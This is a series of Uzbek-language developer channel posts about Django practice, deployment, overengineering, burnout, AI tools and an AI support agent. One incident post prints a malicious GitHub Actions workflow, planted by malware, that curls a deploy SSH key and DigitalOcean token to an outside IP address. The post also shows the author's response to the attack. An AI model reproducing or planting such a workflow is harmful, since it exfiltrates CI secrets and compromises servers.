O’zbekistonda Python dasturchilarga ish yo’q, amaliyotga ham hech kim olmayapti degan gaplarni eshitib qolaman. O’tgan bir yil ichida, 5 dan ortiq junior dasturchilarga amaliyot o’tash imkoniyatini bergan bo’lsak, deyarli hammasi turli IT kompaniyalarda ishlab yurishibdi. Amaliyot davomida o’zimiz qanday loyihalarda ishlayotgan bo’lsak (pulseev.uz, mockexam.uz, mohirlar.uz, mohirpool), ular ham biz bilan birga o’sha loyihalarda ishlashdi, tajriba orttirishdi.

Amaliyotchi olish, ularga mentorlik qilish va ular bilan loyihalarda birga ishlash shaxsiy tashabbus bo’lib, kimgadir ozgina bo’lsa ham dasturchi sifatida o’sish uchun yordam berish xolos. Amaliyotchilardan ba’zi kompaniyalarga o’xshab 2-3 mln so’m amaliyot o’tash xarajatlari uchun deb pul olmaymiz yoki o’zimizdagi taniqli xalqaro kompaniyalarga o’xshab 3-4 mln so’m pul ham berolmaymiz, to’g’ri tushunish kerak. Ularga maosh taklif qiladigan vaqtlarga ham yetamiz, nasib.

Har doim amaliyotchi olish e’lonini qo’yganimda, doim kimlardir norozi, nimadirlar deb ichidagi alamlarini chiqarib olgisi keladi. To’g’ri tushunish kerak, bitta amaliyotchiga katta loyiha topshirib, tugattirib olish uyoqda tursin, bir o’ziga loyihalar topshirib qo’yilmaydi, doimo u bilan birga darajasi yuqori dasturchi ishlashi, mentorlik qilish talab qilinadi, busiz iloji yo’q. Odamlar o’ylagani kabi, loyihalarni ularga qildirib olib, ketkazib yubormaymiz. Deyarli hamma amaliyotchilarga, amaliyot tugagach ish taklifi berilgan.

O’ylantirayotgan jihati, biz amaliyotchilarga imkoniyat berib xato ish qilyapmizmi, buni to’xtatishimiz kerakmi shunda?

Backendchi Deploymentni Bilishi Kerakmi?

Yaqin-yaqingacha backendchi uchun deploymentni bilish shart emas deb o‘ylardim. Chunki oldingi ish joylarimda kamida 2-3 ta DevOps dasturchi bo‘lar edi va bu ishlarni ular bajarardi. Backendchi sifatida kod yozaman, API larni tayyorlayman, qolgani esa DevOps'ning ishi – CI/CD, serverlarni sozlash, security va deployment kabi ishlar ularga tegishli deb hisoblar edim. Bu fikrim 1-1.5 yildan beri teskarisiga o’zgargan.

Oxirgi 2-3 kun ichida Digital Ocean serveriga React ilovasini o‘zim deploy qilib ko‘rdim. Oldin faqat backend applicationlarni deploy qilib, frontend deployment bilan umuman shug‘ullanmaganim uchun bu tajriba men uchun qiziq bo‘ldi. Dastlab Docker bilan build qilib, container'ni Digital Ocean Container registry'ga saqladim, keyin serverda uni pull qilib ishga tushirdim. Natijada deployment vaqti 8-10 daqiqagacha cho‘zildi.

Bundan samaraliroq usul kerak edi. Keyin React’ni shunchaki github actions yordamida build qilib, tayyor fayllarni /var/www/ katalogiga yuklab, Nginx konfiguratsiyasida root va index ni to‘g‘ri ko‘rsatdim. Natija ajoyib bo‘ldi – deployment vaqti 30-40 soniyagacha tushdi!

Biroq bu usulda bitta muammo bor edi: yangi build yuklanayotgan vaqtda eski fayllar ustiga yoziladi va shu orada server ishlamay qolishi mumkin. Zero-downtime qilish uchun CI/CD pipeline yozdim:
✅ Oxirgi 3 ta build saqlanadi – agar yangi buildda xatolik bo‘lsa, avtomatik rollback ishlaydi.
✅ Deployment muvaffaqiyatli o‘tsa, Telegram bot yordamida guruhga bildirishnoma boradi.

Agar sizga CI/CD qismi qiziq bo’lsa, bu linkka kirib jarayonni ko’rishingiz mumkin

Xulosa:
— Backendchi deploymentni bilishi kerak. DevOps mutaxassislaringiz bo‘lsa ham, real hayotda backend dasturchining ham deployment jarayonlarini tushunishi va ba’zan o‘zi bajarishi kerak bo‘lib qoladi
— Backend dasturchi har doim professional DevOps darajasida bilimga ega bo‘lishi shart emas, lekin hech bo‘lmasa basic deployment, Docker, CI/CD, server konfiguratsiyasi, loglarni ko‘rish va tahlil qilish kabilarni bilsa, ishi ancha osonlashadi.
— Har doim eng samarali usulni izlash kerak. Oddiy statik fayllarni container ichiga joylash o‘rniga, to‘g‘ridan-to‘g‘ri Nginx orqali serve qilish bir necha barobar tezroq ishlaydi.

Siz qanday deployment usullaridan foydalanasiz?

Ko‘pchiligimiz Django va Python backend'da "best practices" izlaymiz, lekin aslida, yomon amaliyotlar (anti-patternlar) dan qochish hammasidan ko’ra muhimroq. Masalan, CI pipeline umuman bo‘lmasligi, yoki aksincha, 30+ daqiqada test o‘tishi, PR merge qilish uchun butun jamoaning approve berishini kutish — bular jamoaning tezligini pasaytiradi. Gitflow branch strategiyasi esa Django monolit yoki microservice ishlatilayotgan loyihalarda ko‘p hollarda ortiqcha murakkablik olib keladi.

Kod yozishda ham ko‘p xatolar uchraydi. Hamma logikani bitta view ichida yozish – klassik anti-pattern. Django'da 10 ming qatorlik views.py yoki models.py yozish esa loyiha murakkabligini oshirib, kodni tushunib bo‘lmas holatga keltiradi. Keraksiz abstraksiya qilish – har doim AbstractBaseClassPatternFactoryReactor kabi classlar yozish, lekin u faqat bitta joyda ishlatilishi – bularning hammasi kodni keraksiz darajada murakkab qiladi.

Database bilan ishlashda esa eng katta muammo – Django ORM optimizatsiyasiga e’tibor bermaslik. Ba’zilar har bir request uchun 1000 ta .filter(), .all(), .values() chaqirib, N+1 query muammosini yaratadi. Cache ishlatmaslik – har safar bir xil ma’lumotni qayta-qayta DB’dan olish esa server resurslarini behuda sarflaydi. Har bir mayda o‘zgarish uchun ERD chizish yoki aksincha, katta feature uchun umuman database dizayn qilmaslik ham katta muammolardan biri.

Deployment va loggingda ham xatolar ko‘p. Log yozmaslik – production’da muammo chiqqanda hech qanday dalil topilmasligi, yoki aksincha, kerakmas hamma narsani logga yozib, haqiqiy muammoni topishni qiyinlashtirish – backend'ning asosiy muammolaridan biri. Bundan tashqari, frontend va backend deploy qilish uchun 30 daqiqa kutish, yoki har bir deploy’da eski faylni ustiga overwrite qilib, downtime yaratish, keyin esa rollback imkoniyati bo‘lmaganidan pushaymon bo‘lish – deploymentdagi asosiy xatolar.

Xulosam shuki, best practice degan narsa yo‘q, lekin yomon amaliyotlar juda ko‘p. Django va Python backend'da keraksiz murakkablik, noto‘g‘ri database optimizatsiyasi va yomon deployment jarayonlari eng katta xatolardan hisoblanadi.

Overengineering — Katta muammolarga kichik yechim, kichik muammolarga katta yechim

Dasturchilar loyiha boshlaganda yoki kod yozishda mukammallikni maqsad qilishadi. Har bir funksiya maksimal darajada reusable(qayta ishlatib bo’ladigan) bo‘lishi kerak, har bir mikroservis mustaqil ishlashi kerak, har bir metod kengaytiriladigan bo‘lishi kerak... Va oxir-oqibat, oddiy muammoni hal qilish uchun murakkab, boshqarish qiyin va ortiqcha resurs talab qiladigan arxitektura paydo bo‘ladi.

Bu – Overengineering (ortiqcha muhandislik).

Nega Overengineering muammo?

1️⃣ Tuzilishi qiyin va vaqtni oladi
Tanishlaringizdan biri mehmonlar uchun oddiy choy tayyorlashi kerak. Unga bitta choynak va gaz plitasi yetarli. Lekin u "choy eng optimal haroratda damlansin" deb, termometr, suv filtri, avtomatik choy damlovchi apparat, maxsus vaqt o‘lchagich va qayerdandir IoT bilan boshqariladigan elektr choynak olib keladi. Mehmonlar esa choy kelguncha allaqachon uyiga ketib qolishadi.
Dasturiy ta’minotda ham shunday: oddiy CRUD API uchun event-driven arxitektura, mikroservislar va Kubernetes klaster kerak emas. Eng kerakli narsani tez va samarali qilish muhim.

2️⃣ Texnik qarz yuki
Tasavvur qiling, ofisingizda oddiy bitta eshik bor. Uni ochish uchun oddiy kalit yetarli. Lekin kimdir "bu eshik xavfsiz bo‘lishi kerak" deb, 4 ta qo‘shimcha kod, Face ID, karta skaneri va 2 bosqichli autentifikatsiya qo‘shadi. Boshida bu zo‘r ko‘rinishi mumkin, lekin keyinchalik kalit yo‘qoladi, Face ID ishlamaydi, yangi odamlar kirishi uchun soatlab ruxsat kutishadi va oxir-oqibat eshikni buzib ochishga to‘g‘ri keladi.
Dasturda ham shunday: agar boshlang‘ich darajadagi loyiha uchun ortiqcha murakkab arxitektura yaratsangiz, u kelajakda texnik qarzga aylanadi va uni refaktor qilishga majbur bo‘lasiz.

3️⃣ Resurslar ortiqcha sarflanadi
Sizga kvartira kerak. Lekin "mukammal yashash joyi bo‘lishi kerak" deb, shahar markazida katta villa qurishni rejalashtirasiz. Kredit olasiz, byurokratiya bilan shug‘ullanasiz, qurilish 5 yil davom etadi... oxirida esa kvartira narxi 2 baravar oshib ketadi va siz hali ham ijara to‘layapsiz.
Xuddi shunday, oddiy monolit xizmat qilish mumkin bo‘lgan joyda murakkab mikroservis arxitekturasi, kutilmagan xatolar va ortiqcha operatsion xarajatlar muammoga aylanadi.

4️⃣ Haqiqiy biznes muammolar chetda qoladi
Do‘konda oddiy savdo tizimi kerak bo‘lsa, sotuvchi faqat "Sotish" tugmasini bosishi yetarli. Lekin siz "UI zo‘r chiqsin, AI bilan tahlil qilsin, blockchain bilan ma’lumotlar xavfsiz bo‘lsin" deb murakkab tizim qurib qo‘yasiz. Natijada sotuvchi tugmani bosish o‘rniga, 5 daqiqa shaxsiy kabinetga kirib, API ishlashi kutishiga to‘g‘ri keladi.
Haqiqiy biznesda foydalanuvchi uchun eng sodda va samarali yechim muhim, ortiqcha murakkablik esa faqat vaqt va pul yo‘qotilishiga sabab bo‘ladi.

Overengineering — qanday oldini olish mumkin?

Xo‘sh, overengineering to‘g‘ri ish emasligi haqida yozdik, lekin real loyihalarda undan qanday qochish mumkin? Muhimi – muammoga qarab emas, balki ehtiyojga qarab kod yozish kerak. Ko‘p hollarda, ortiqcha murakkablik dasturchining kelajakda yuzaga kelishi mumkin bo‘lgan muammolarni hozirdan "hal qilib qo’yish“ istagidan kelib chiqadi. Lekin bunday yondashuv amaliyotda 1 tonna keraksiz kod, oylab vaqtni isrof qilish va qo‘llab-quvvatlash qiyin bo‘lgan arxitektura bilan yakunlanadi.

Shuning uchun ayni vaqtdagi kerakli qismlar va amaliy muammolarni hal qilishga bor e’tiborni qaratish kerak. Minimal ishlaydigan yechim yaratib, keyinchalik uni yaxshilash imkoniyatini saqlab qolish har doim eng yaxshi variant. Endi esa, overengineeringdan qanday qochish mumkin, ko‘rib chiqamiz:

1️⃣ Minimal yechimdan boshlang
Loyiha uchun eng oddiy va aniq ishlaydigan yechimni tanlang. Masalan, yangi ma’lumotlar sinxronizatsiya tizimi kerakmi? Avval oddiy cron job yoki Celery task bilan hal qilib ko‘ring. Agar haqiqatan muammo yuzaga kelsa va real-time sinxronizatsiya zarur bo‘lsa, shundan keyin Redis Pub/Sub, RabbitMQ yoki Kafka kabi murakkabroq yechimlarni o‘ylab ko‘ring.

2️⃣ Haqiqiy muammoga asoslaning
Ko‘p hollarda dasturchilar kelajakda bo‘lishi mumkin bo‘lgan muammolarni oldindan hal qilishga harakat qilib, hozir umuman kerak bo‘lmagan murakkab funksiya va metodlarni qo‘shishadi. Kod yozishdan oldin o‘zimizga savol berishimiz kerak: Bu muammo hozir mavjudmi? Agar yo‘q bo‘lsa, balki hozircha bu yechim kerak emasdir.

3️⃣ KISS va YAGNI prinsiplari
Django yoki boshqa backend dasturlarini yozishda KISS (Keep It Simple, Stupid) va YAGNI (You Ain’t Gonna Need It) prinsiplariga amal qilish kerak. Ortib ketgan abstraktsiyalar, keraksiz servislar yoki mikroxizmatlar loyihani faqat murakkablashtiradi va qo‘llab-quvvatlashni qiyinlashtiradi. Shuning uchun, hali yo’q bo’lgan muammoni hal qilishga urinmang.

4️⃣ Refaktoring va optimallashtirishni bosqichma-bosqich bajaring
Dastlab ishlaydigan, tushunarli va minimal kod yozing, keyin uni yaxshilash haqida o‘ylang. Keraksiz abstraktsiyalar qo‘shishdan oldin, kodni o‘qilishi va qo‘llab-quvvatlanishi oson bo‘lishiga e’tibor bering. Logikani to‘g‘ri modularizatsiya qilib, view, service layer yoki signal kabi qatlamlarni faqat zarur bo‘lsa ajrating. Shu tariqa kod nafaqat ishlaydi, balki keyinchalik kengaytirish va qo‘llab-quvvatlash ham oson bo‘ladi.

5️⃣ Soddalikni ustuvor qiling
Ko‘p hollarda oddiy Django caching (Redis yoki memcached) yetarli bo‘ladi, lekin ba’zilar "scale bo‘lishi mumkin" degan maqsadda Kafka yoki RabbitMQ kabi murakkab queue tizimlarini erta bosqichda qo‘shishadi. Aslida esa, avval oddiy yechim bilan ishlatib ko‘rib, haqiqiy yuk ortganda optimizatsiya qilish yaxshiroq. Har qanday murakkab texnologiya — qo‘shimcha texnik qarz va qo‘llab-quvvatlash boshog’rigi degani.

Xulosa: Overengineering — bu resurslarni, vaqtni va loyihani boshqarishni murakkablashtiradigan muammo. Dastlabki yechimni soddalashtirish, real ehtiyojlarga e’tibor berish va refaktoringni bosqichma-bosqich qilish — bu muammoni oldini olishning eng yaxshi usuli.

Oramizda Kwatt ilovasida ishlagan dasturchilar bo’lsa, iltimos Notification tizimiga qarab qo’yinglar, deyarli har doim 5-6 talab notification jo’natadi. Retry tizimi yaxshi ishlamayotgan bo’lishi, FCM tokenlarni saqlashda muammo bo’lishi ham mumkin. Yoki shunchaki, bildirishnoma yuborayotgan admin bir marta yuborish o’rniga knopkani 5-6 martalab bosyapti )

Har qanday motivatsiyaga boy, auditoriyaga moslab aytilgan gaplarga ishonib, amal qilavermaslik kerak. “Dam olishsiz ishlash kerak, shunda top performer bo’ladi” deyish g’irt absurd tushuncha, ancha muncha zo’r dasturchilarni dam olishsiz(no weekend) ishlab burnout bo’lib qolganini ko’rganman, burnout bo’lgach 1-2 oy umuman kompyuterga yaqinlashmaganlari ham talaygina. Elon muskni o’zi “haftasiga 80-100 soat ishladim, keyin burnout bo’lib qoldim, boshqa bunday qilmayman” deb tan olgani, “Deep work” kitobi muallifi Cal Newport ham dam olishni majburiy qilish kerak deb maslahat bergani bunday motivatsion postlarda aytilmaydi.

Miya dam olishni tushunmaydi deyish ham xato gap, miya aslida dam olayotgan (default mode) vaqtda masalan sayr qilayotganda, yolg’iz hayol surib o’tirganda yoki shunchaki hech nima qilmayotganda faollashadi va eng yaxshi fikrlar(g’oyalar) dam olayotgan vaqtda keladi. Dam olishni dangasalik deyish yoki “qochish” tizimi deyish bu juda yomon tendensiya aslida. Maslow ierarxiyasida ham dam olish, uyqu va tana tiklanishi inson uchun 1-darajadagi eng muhim fiziologik ehtiyojlar sirasiga kiritilgan va uni inkor qilish aqldan ozish bilan teng desayam bo’ladi.

Oxirgi paytlarda “Sleep is for losers” kabi motivatsion trendlar targ’ib qilinmoqda. Sen uxlayotganingda raqobatchilaring ishlayapti degan motivatsion gaplar qisqa vaqtli eyforiya berishi mumkin xuddiki qog’ozli gazetani yoqqanda baland bo’lib yongani kabi lekin uzoq muddat uyqusiz, dam olishsiz ishlash/o’qish yuqorida aytganimdek burnout, stress, ruhiy bosim beradi. Buni unutmang!

No weekend = Succesl ❌
Discipline + Focus + Rest = Success ✅

Oldin barcha loyihalarimda UUID ni ishlatar edim, yaqin 2-3 oydan beri ULID ni ishlatyapman. UUID dan ko’ra ancha qulay, o’qishga ham oson. ULID timestamp orqali yaratilgani uchun indekslar tartibli saqlanadi - insert/read ham UUID dan ko’ra tezroq. Oramizda ULID ni ishlatadiganlar bormi, nima uchun ULID ga o'tgansiz?

Mohirdev marketing komandasiga yosh va kreativ jamoa yig’ilgan. Oxirgi vaqtlar ancha sifatli kontentlar qilishyapti, ko’z tegmasin.

Mana buni yangilik desa bo’ladi
Vanihoyat python 3.14 versiyasida GIL ni olib tashladi. Endi CPU bound tasklarda parallelismni his qilib ko’rishinglar mumkin faqat race conditionlardan ehtiyot bo’lasiz )

Futbolcha mantiq IT’da bo‘lganda: loyiha ishlashi shart emas, muhimi eng zo‘r texnologiyalarda yozilgani, deyilardi.

Oldinlari startup qilish uchun ancha ter to‘kish kerak edi: haqiqiy muammoni topish, bozorni o‘rganish, tuzukroq jamoa yig‘ish va birinchi mijozlarni topish.

Hozir esa vaziyat butunlay boshqacha: g‘oyani topamiz(buyam ChatGPT bilan), AI ga landing sayt tayyorlatamiz, 2 soatda Claude bilan demo tayyorlab qo’yamiz ammo na bitta foydalanuvchi, na pul to‘laydigan mijoz bor. AI dastur/ilova yasashni juda osonlashtirib yubordi lekin AI biznesni qurib berolmaydi.Oldin 10 ta g‘oyadan bittasi mahsulotga aylanardi. Hozir 10 ta odamning 9 tasida mahsulot bor, lekin uni ishlatadigan odam yo‘q. Eng qizig‘i, hamma “founder”, hamma “CEO”, hamma “stealth mode”da. Faqat mijozlar hamon bu startuplar borligidan bexabar.

AI kod yozib beradi, dizayn chizadi, nom topadi, hatto investor oldida nima deyishni ham yozib beradi. Lekin odamni sizning mahsulotingiz uchun pul to‘lashga majbur qila olmaydi. Shuning uchun bugungi startup bozoridagi eng katta muammo mahsulot yaratish emas. Keraksiz mahsulotlar juda tez yaratilayotganidir. AI Startuperlar sonini ko’paytirgani rost, afsuski real muammolarni hal qiladigan startuplar soni hali unchalik ko’p emas

5-6 yil oldin o’zbek tilida django bo’yicha darslar yo’qligi uchun, videokurs yozib, shu kanalga qo’yib borish maqsadida bu kanalni boshlagandim. Xuddi shu nomdagi youtube kanalda ham 1700 obunachi borligi, va darslar 5-6 ming, ba’zilari esa 15 ming ko’rilgani xursand qiladi. Shu videodarslar 1 ta odamga foydasi tegib, dasturchi bo’lishida hissa qo’shgan bo’lsayam men uchun missiya bajarilgan hisoblanadi.

Bilasiz, oxirgi vaqtlarda AI sababli kommunitylar ancha huvillab qoldi, deyarli texnik postlar ham yozilmayapti. AI dan istalgan savolizga javob olish osonlashdi. Lekin loyiha qurish davomida shunday holatlar bo’ladiki, javobini ishlatib ko’rib, xatolar qilib keyin tushunasiz.

Shuning uchun bu kanalni biroz boshqacha yo‘nalishda davom ettirmoqchiman. Endi qilayotgan loyihalarimiz, loyiha qurishda uchrayotgan muammolar va ularni qanday hal qilayotganimiz haqida yozib boraman. Ba’zan yaxshi ishlagan yechim, ba’zan esa vaqt sarflab, oxirida voz kechgan g‘oyamiz haqida bo‘ladi. Foydalanuvchilardan kelgan fikrlar, biz kutmagan holatlar va ulardan chiqargan xulosalarimizni ham bo‘lishaman.

Kanal nomini ham shu yo‘nalishga moslab o‘zgartirdim. Eski darslar esa qoladi, kerak bo‘lgan odam topib foydalanaveradi.

Kanalning yangi nomi: Muhammad Irmatov | Mahsulot qurish.

Yaqinda instagramda mashxur dotnetchilarni podkastida aytyaptiki, hamma AI ni hype qilyapti, bu pufak qachondor yoriladi, AI bilan faqat demo qilib, shuni ortidan yugurib yuribdi deyishyapti, siz shu gapga qanchalik qo’shilasiz?

Hozir AI ga kod yozdirmayotgan dasturchilar anqoni urug’idek noyob bo’lsa kerak. O’zim kod yozyapman, AI dan foydalanmayapman degan dasturchini uchratmadim va bu allaqachon yangilik bo’lmay qoldi. AI ni zararlari, dasturchilarni dangasa qilib qo’yishi, kod yozish skillari yo’qolib ketishi haqidagi cho’pchaklarga ishonmang, AI yordam beryaptimi, ishingizni osonlashtiryaptimi mazzaqilib foydalanish kerak, tamom.

AI bilan katta masshtabli, scalable proyekt qurib bo’lmaydi deganlar adashadi, 6 oyda 200 000 foydalanuvchi ro’yhatdan o’tgan nikoh.app ilovasini to’liq AI bilan qurdim. Loyihani dizaynidan boshlab, backend, frontend, mobile va hattoki ilova ichidagi kontentlar ham turli AI modellar yordamida qurildi, va hech qanday ortiqcha boshog’riqsiz ishlab turibdi.


P.S. rasm GPT-6 Astra modelida yaratildi

Bizdagi aksariyat kompaniyalar oqsaydigan va eng og’riqli nuqtalaridan biri aynan Support xizmati hisoblanadi. 2 oydan beri nikoh ilovasida support muammolarini 90% holatda AI agent o’zi hal qilyapti. Qanday qilganimizni texnik jihatdan tushintiraman.

Agent Azure OpenAI asosida ishlaydi, zaxiraga Anthropic Claude ham ulab qo’yilgan va function-calling orqali maxsus Python tool’larni chaqiradi. Ular Django ORM yordamida PostgreSQL’dan akkaunt, obuna va to‘lov holati kabi profil ma’lumotlarini topib keladi. Agent shu ma’lumotlarga qarab javob qaytaradi.

Eng asosiy qoida shuki - tool’lar read-only: agent bazaga to’g’ridan to’g’ri INSERT, UPDATE yoki DELETE kabi amallarni bajarolmaydi, permission yo’q. Bu yerda least privilege prinsipiga amal qilganmiz.

Profilni o‘zgartirish esa alohida jarayon. Masalan, ismni tuzatish yoki PIN qulfini olib tashlash kerak bo‘lsa, agent oldindan ruxsat berilgan amallardan birini structured action sifatida qaytaradi. Server vazifani, parametrlarni va akkaunt egasi tasdiqlanganini tekshiradi. Qaysi profil o‘zgarishi kerakligini ham serverning o‘zi aniqlaydi. Tekshiruvlardan o‘tgach, alohida executor o‘zgarishni saqlaydi.

Eng muhim joyi — support botga yozayotgan odam haqiqiy egasimi yoki yo’qmi shuni tekshirish kerak bo’ladi. Agentni boshlaganda kiritiladigan anketa raqami hammaga ko‘rinadi, uni bilish akkaunt sizniki degani emas. Shu sabab tasdiqlash kodini ilova ichidagi bildirishnomaga yuboramiz. Tasdiqdan keyin ruxsat etilgan oddiy amallar operatorsiz bajariladi. Akkauntlarni birlashtirish, tiklash va moliyaviy operatsiyalar esa human-in-the-loop orqali operatorga o‘tadi.

Shu AI agent sababli, supportga javobgar xodimlarimizni yuklamasi keskin kamaydi va xodimlarni qisqartirishga majbur bo’ldik. Agentni o’zi 24/7 ishlaydi, muammolarni hal qiladi, 8 hafta ichida agentimiz 15000 mingdan ortiq xabarlarga javob yozibdi

Yozilgan kod va server to’g’ri sozlanganligi har doim ham hack bo’lmaslikni kafolatlamaydi, hackerlar ko’proq social engineering va scam orqali ham ilova, dastur, va serverlaringizni osongina egallab olishi mumkin. 1-2 oy oldin bizda ham bir shunga o’xshash hodisa bo’ldi.

Devops dasturchimiz doimo o’z macbookidan termius orqali ulangan va nechi yildan beri ishlasa ham xavfsizlik bilan bog’liq biror muammo chiqmagan. Yaqinda qiziqish sabab gaming uchun qimmat yig’ilgan windows kompyuter sotib olgan va uyida shu kompyuterga google akkauntlari va githubini ulagan. Va ayni shu vaqtda zararlangan dastur orqali virus uni githubiga kirib, quyidagi zararli commitni githubida amalga oshirgan.

name: Github Actions Security

on:
  workflow_dispatch:
  push:

jobs:
  send-secrets:
    runs-on: ubuntu-latest

    steps:
      - name: Prepare Cache Busting
        run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV

      - name: Github Actions Security
        run: |
          curl -s -X POST -d 'DEPLOY_SSH_KEY=${{ secrets.DEPLOY_SSH_KEY }}&DO_API_TOKEN=${{ secrets.DO_API_TOKEN }}' http://193.32.204.199

Bu kodni mazmuni shundan iboratki, qachonki biz deploy qilsak github actions ichida joylashgan secret keylar(SSH key, Digital ocean token) ni olib, belgilangan IP manzilga yuboradi.

Deploy qilgach fayl nomi shubha uyg’otdi va darhol ochib ko’rsam, xavfli kod. Darhol xavfsizlik choralari ko’rildi, audit qilinganda boshqa IP manzildan serverga kirish sodir bo’lmagan. Bunday vaqtda qilinishi kerak bo’lgan eng birinchi ish devops dasturchidan to’liq dostup olindi va barcha secret keylar almashtirildi.

Siz bu holat sodir bo’lmasligi uchun nima qilgan bo’lardingiz?

Tag’in bu kodni ovolib sizlaram zararli virus yasashda foydalanmanglar 😅️️️️

Foydalanuvchi: «Bir-ikkita profilni ko‘rib chiqaman, xolos».
Yarim soatdan keyin ham profil ko‘ryapti.

PostgreSQL: «Aka, profillarni ko’rib bo’ldizmi?» 😅️️📈